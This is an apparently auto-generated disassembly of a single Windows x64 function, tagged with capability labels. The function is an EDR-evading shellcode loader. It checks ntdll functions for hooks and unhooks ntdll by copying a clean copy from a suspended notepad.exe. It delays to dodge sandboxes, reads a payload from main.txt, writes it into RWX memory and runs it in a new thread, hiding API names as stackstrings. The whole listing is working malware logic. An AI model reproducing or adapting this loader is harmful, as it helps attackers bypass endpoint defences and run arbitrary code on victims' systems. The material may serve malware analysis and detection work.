Function at 0x140002040
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create process on windows
Create process suspended
Enumerate pe sections
Execute shellcode via indirect call
Link many functions at runtime
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x208]
sub rsp, 0x2e0
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x140040058]
xor rax, rsp
mov qword [rbp + 0x1c0], rax
lea rcx, [0x14003a664]
call fcn.140001120
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtAllocateVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [0x14003a65c]
movzx ecx, byte [0x14003a660]
mov byte [rbp + 0x1a4], cl
xor esi, esi
mov r8d, esi
cmp dword [rax], edx
setne r8b
lea rax, str.NtAllocateVirtualMemory_Not_Hooked_n
lea rcx, str.NtAllocateVirtualMemory_Hooked_n
test r8d, r8d
cmove rcx, rax
call fcn.140001120
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtProtectVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [0x14003a65c]
movzx ecx, byte [0x14003a660]
mov byte [rbp + 0x1a4], cl
mov r8d, esi
cmp dword [rax], edx
setne r8b
lea rax, str.NtProtectVirtualMemory_Not_Hooked_n
lea rcx, str.NtProtectVirtualMemory_Hooked_n
test r8d, r8d
cmove rcx, rax
call fcn.140001120
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtCreateThreadEx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [0x14003a65c]
movzx ecx, byte [0x14003a660]
mov byte [rbp + 0x1a4], cl
mov r8d, esi
cmp dword [rax], edx
setne r8b
lea rax, str.NtCreateThreadEx_Not_Hooked_n
lea rcx, str.NtCreateThreadEx_Hooked_n
test r8d, r8d
cmove rcx, rax
call fcn.140001120
lea rcx, [0x14003a664]
call fcn.140001120
lea rcx, str.___Unhooking_Ntdll__n
call fcn.140001120
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x130], xmm0
movups xmmword [rbp + 0x140], xmm0
movups xmmword [rbp + 0x150], xmm0
movups xmmword [rbp + 0x160], xmm0
movups xmmword [rbp + 0x170], xmm0
movups xmmword [rbp + 0x180], xmm0
mov qword [rbp + 0x190], rax
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x130]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 4
mov r13d, 1
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.C:WindowsSystem32_notepad.exe
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
cmp qword [rsp + 0x70], rsi
jne 0x140002239
lea rcx, str.____Error_creating_process_r_n
call fcn.140001120
jmp 0x1400022d1
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r9d, 0x18
lea r8, [rsp + 0x58]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
mov ebx, dword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8d, ebx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r12, rax
mov r9d, dword [rsp + 0x60]
lea rax, [rbp + 0x1b0]
mov qword [rsp + 0x20], rax
mov r8, r12
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x1400022bf
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_reading_ntdll___u__n
call fcn.140001120
jmp 0x1400022d1
xor edx, edx
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test r12, r12
jne 0x1400022e7
lea rcx, str.Failed_to_map_ntd11_n
call fcn.140001120
mov eax, 0xffffffff
jmp 0x140002bf4
mov dword [rbp + 0xa0], 0x6c64746e
mov dword [rbp + 0xa4], 0x6c642e6c
mov word [rbp + 0xa8], 0x6c
lea rcx, [rbp + 0xa0]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r15, rax
mov dword [rbp + 0x1a0], esi
movsxd rdi, dword [r12 + 0x3c]
add rdi, r12
mov r14d, esi
cmp si, word [rdi + 6]
jae 0x1400023ea
mov dword [rsp + 0x50], 0x7865742e
mov word [rsp + 0x54], 0x74
nop
movzx ebx, word [rdi + 0x14]
add rbx, 0x18
add rbx, rdi
add rbx, rsi
mov rax, rbx
lea r8, [rsp + 0x50]
sub r8, rbx
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140002373
inc rax
test ecx, ecx
jne 0x140002360
test edx, edx
jne 0x1400023d4
mov edx, dword [rbx + 8]
mov ecx, dword [rbx + 0xc]
add rcx, r15
lea r9, [rbp + 0x1a0]
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1400024d8
mov eax, dword [rbx + 0xc]
mov r8d, dword [rbx + 8]
lea rdx, [rax + r12]
lea rcx, [rax + r15]
call fcn.140008f90
mov edx, dword [rbx + 8]
mov ecx, dword [rbx + 0xc]
add rcx, r15
lea r9, [rbp + 0x1a0]
mov r8d, dword [rbp + 0x1a0]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1400024cf
inc r14d
add rsi, 0x28
movzx eax, word [rdi + 6]
cmp r14d, eax
jl 0x140002340
xor esi, esi
xor ecx, ecx
call fcn.140010584
mov rcx, rax
call fcn.14000d554
mov rbx, rsi
nop dword [rax]
call fcn.14000d528
inc rbx
cmp rbx, 0x3e8
jl 0x140002400
lea rcx, [0x1400413d0]
call fcn.140004940
mov qword [rbp + 0xf0], rsi
mov qword [rbp + 0x100], rsi
mov qword [rbp + 0x108], 0xf
mov byte [rbp + 0xf0], 0
mov r8d, 8
lea rdx, str.main.txt
lea rcx, [rbp + 0xf0]
call fcn.140004450
nop
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp - 0x70]
call fcn.140009640
lea rdx, [rbp + 0xf0]
cmp qword [rbp + 0x108], 0x10
cmovae rdx, qword [rbp + 0xf0]
lea rcx, [rbp - 0x70]
call fcn.1400041c0
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea r12, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x70], r12
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x74], edx
mov rax, qword [rbp - 0x70]
movsxd rax, dword [rax + 4]
test byte [rbp + rax - 0x60], 6
je 0x140002505
call fcn.140004980
mov rcx, rax
call fcn.140004940
jmp 0x140002b54
lea rbx, str.Failed_to_change_the_protection_back___u__n
jmp 0x1400024df
lea rbx, str.Failed_to_change_the_protection___u__n
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call fcn.140001120
lea rcx, str.Failed_in_Unhooking__n
call fcn.140001120
mov eax, 0xfffffffe
jmp 0x140002bf4
mov qword [rbp + 0xa0], rsi
mov word [rbp + 0xa8], 1
mov rax, qword [rbp + rax - 0x28]
mov qword [rbp + 0x1b0], rax
test rax, rax
sete byte [rbp + 0x1b8]
mov byte [rbp + 0x1b9], 0
mov qword [rbp + 0xb0], rsi
mov qword [rbp + 0xc0], rsi
mov qword [rbp + 0xc8], 0xf
mov byte [rbp + 0xb0], 0
movaps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0xa0], xmm0
movaps xmm1, xmmword [rbp + 0x1b0]
movdqa xmmword [rbp + 0x1b0], xmm1
lea r8, [rbp + 0xa0]
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0xb0]
call fcn.140005530
nop
lea rcx, [rbp - 0x60]
call fcn.140004090
test rax, rax
jne 0x1400025c5
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea r9, [rbp - 0x70]
add rcx, r9
mov edx, 6
mov eax, 2
cmp qword [rcx + 0x48], 0
cmovne edx, eax
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.140001d10
call fcn.1400058f0
mov rbx, rax
call fcn.1400058d4
cmp rbx, 0x989680
jne 0x1400025e1
imul rsi, rax, 0x64
jmp 0x1400025fc
cqo
idiv rbx
imul rsi, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rsi, rax
call fcn.1400058f0
mov rbx, rax
call fcn.1400058d4
cmp rbx, 0x989680
jne 0x140002618
imul rax, rax, 0x64
jmp 0x140002633
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
movabs rcx, 0x7ffffffed5fa0dff
cmp rax, rcx
jge 0x140002651
movabs rdi, 0x12a05f200
add rdi, rax
jmp 0x14000265b
movabs rdi, 0x7fffffffffffffff
movabs r14, 0x311cdad160000
movabs r15, 0x112e0be826d694b3
movsd xmm6, qword [0x14003a868]
call fcn.1400058f0
mov rbx, rax
call fcn.1400058d4
cmp rbx, 0x989680
jne 0x140002693
imul rbx, rax, 0x64
jmp 0x1400026af
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
lea rbx, [rax + rcx]
cmp rbx, rdi
jge 0x14000272a
call fcn.1400059f0
imul rcx, rax, 0x64
mov rax, rdi
sub rax, rbx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
comisd xmm0, xmm6
seta r9b
test r9b, r9b
lea r8, [rcx + r14]
jne 0x1400026e0
lea r8, [rax + rcx]
add rax, rcx
lea rdx, [rcx + r14]
test r9b, r9b
cmove rdx, rax
mov rax, r15
imul rdx
sar rdx, 0x1a
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov qword [rbp + 0xa0], rdx
imul eax, edx, 0x3b9aca00
sub r8d, eax
mov dword [rbp + 0xa8], r8d
lea rcx, [rbp + 0xa0]
call fcn.14000681c
jmp 0x140002677
call fcn.1400058f0
mov rbx, rax
call fcn.1400058d4
cmp rbx, 0x989680
jne 0x140002746
imul rcx, rax, 0x64
jmp 0x140002761
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rcx, rax
sub rcx, rsi
movabs rax, 0x431bde82d7b634db
imul rcx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov ecx, 0x7f149
sub ecx, edx
call fcn.140001f20
mov r8d, eax
lea ecx, [rax - 0x7f148]
test ecx, ecx
jne 0x1400029fd
lea r9, [rbp - 0x7b]
dec r9
mov eax, 0xcccccccd
mul r8d
shr edx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub r8b, cl
add r8b, 0x30
mov byte [r9], r8b
mov r8d, edx
test edx, edx
jne 0x1400027a0
xor r14d, r14d
mov qword [rbp + 0x110], r14
mov qword [rbp + 0x120], r14
mov qword [rbp + 0x128], 0xf
mov byte [rbp + 0x110], r14b
lea rax, [rbp - 0x7b]
cmp r9, rax
je 0x14000280d
lea r8, [rbp - 0x7b]
sub r8, r9
mov rdx, r9
lea rcx, [rbp + 0x110]
call fcn.140004450
nop
lea r8, [rbp + 0x110]
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0xd0]
call fcn.140001e40
nop
lea rsi, [rbp + 0xd0]
cmp qword [rbp + 0xe8], 0x10
cmovae rsi, qword [rbp + 0xd0]
mov rbx, qword [rbp + 0xe0]
mov dword [rbp + 0xa0], 0x74726956
mov dword [rbp + 0xa4], 0x416c6175
mov dword [rbp + 0xa8], 0x636f6c6c
mov byte [rbp + 0xac], 0
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [rbp + 0xa0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rbx
xor ecx, ecx
call rax
mov rdi, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.RtlCopyMemory
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r8, rbx
mov rdx, rsi
mov rcx, rdi
call fcn.140008f90
mov dword [rbp + 0x1b0], 0x61657243
mov dword [rbp + 0x1b4], 0x68546574
mov dword [rbp + 0x1b8], 0x64616572
mov byte [rbp + 0x1bc], 0
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [rbp + 0x1b0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
xor r9d, r9d
mov r8, rdi
xor edx, edx
xor ecx, ecx
call rax
mov rbx, rax
movdqa xmm0, xmmword [0x14003a870]
movdqu xmmword [rsp + 0x58], xmm0
mov dword [rsp + 0x68], 0x746365
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, 0xffffffff
mov rcx, rbx
call rax
nop
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0x10
jb 0x1400029a1
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000299c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002c2f
call fcn.140007140
mov qword [rbp + 0xe0], r14
mov qword [rbp + 0xe8], 0xf
mov byte [rbp + 0xd0], 0
mov rdx, qword [rbp + 0x128]
cmp rdx, 0x10
jb 0x140002a00
inc rdx
mov rcx, qword [rbp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400029f6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002c35
call fcn.140007140
jmp 0x140002a00
xor r14d, r14d
lea rcx, [0x14003a664]
call fcn.140001120
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtAllocateVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r8d, dword [0x14003a65c]
mov r9d, r14d
cmp dword [rax], r8d
setne r9b
test r9d, r9d
lea rax, str.NtAllocateVirtualMemory_Hooked_n
lea rcx, str.NtAllocateVirtualMemory_Not_Hooked_n
cmove rax, rcx
mov rcx, rax
call fcn.140001120
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtProtectVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r8d, dword [0x14003a65c]
mov r9d, r14d
cmp dword [rax], r8d
setne r9b
test r9d, r9d
lea rax, str.NtProtectVirtualMemory_Hooked_n
lea rcx, str.NtProtectVirtualMemory_Not_Hooked_n
cmove rax, rcx
mov rcx, rax
call fcn.140001120
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtCreateThreadEx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r8d, dword [0x14003a65c]
mov edx, r14d
cmp dword [rax], r8d
setne dl
test edx, edx
lea rax, str.NtCreateThreadEx_Hooked_n
lea rcx, str.NtCreateThreadEx_Not_Hooked_n
cmove rax, rcx
mov rcx, rax
call fcn.140001120
lea rcx, str._n_n___Finished______n
call fcn.140001120
mov r13d, r14d
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0x10
jb 0x140002b3b
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002b36
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002c3b
call fcn.140007140
mov qword [rbp + 0xc0], r14
mov qword [rbp + 0xc8], 0xf
mov byte [rbp + 0xb0], 0
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x70], r12
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x74], edx
lea rcx, [rbp - 0x60]
call fcn.140003880
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x70], rax
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx - 0x74], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x40], rax
lea rcx, [rbp + 0x40]
call fcn.1400063cc
nop
mov rdx, qword [rbp + 0x108]
cmp rdx, 0x10
jb 0x140002bf1
inc rdx
mov rcx, qword [rbp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002bec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002c29
call fcn.140007140
mov eax, r13d
mov rcx, qword [rbp + 0x1c0]
xor rcx, rsp
call fcn.140007120
lea r11, [rsp + 0x2e0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14001122c
nop
call fcn.14001122c
nop
call fcn.14001122c
nop
call fcn.14001122c
int3